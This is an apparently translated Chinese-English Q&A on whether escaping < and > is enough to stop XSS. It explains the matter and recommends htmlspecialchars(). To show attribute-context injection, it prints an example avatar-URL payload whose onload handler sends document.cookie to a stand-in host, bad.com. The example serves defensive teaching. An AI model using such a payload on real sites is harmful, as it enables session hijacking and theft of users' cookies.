正在替换:<和>与& lt;和& gt;足以防止XSS注入?

问题描述:

我想知道使两个标记< > 足以阻止XSS注入吗?

I want to know if entiting the two marks < and > is enough to prevent XSS injections?

如果没有,为什么?最好的解决方案是什么?

And if not, why? And what's the best solution?

这在很大程度上取决于上下文。

It depends very much on context.

在一个典型的论坛站点上查看此示例...

Check out this example, from a typical forum site...


您可以热链接您的头像图像。输入完整的URL。

You may hotlink your avatar image. Enter the full URL.

恶意用户在输入字段中输入

Malicious user enters in input field

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

那里没有小于和大于的编码,但是仍然是一个很大的安全性

There is no encoding there of less than and greater than, but still a big security hole.

使用 htmlspecialchars(),我发现制作(或使用)包装函数是一个好主意。它的类型转换为字符串,提供了一种更简便的方法来禁用双重编码(如有必要)并确保它使用的是应用程序的正确字符集。 Kohana有一个很好的例子

With htmlspecialchars(), I found it a good idea to make (or use) a wrapper function of it that casts to a string, provides an easier way to disable double encoding (if necessary) and to ensure it is using the correct character set of your application. Kohana has a great example.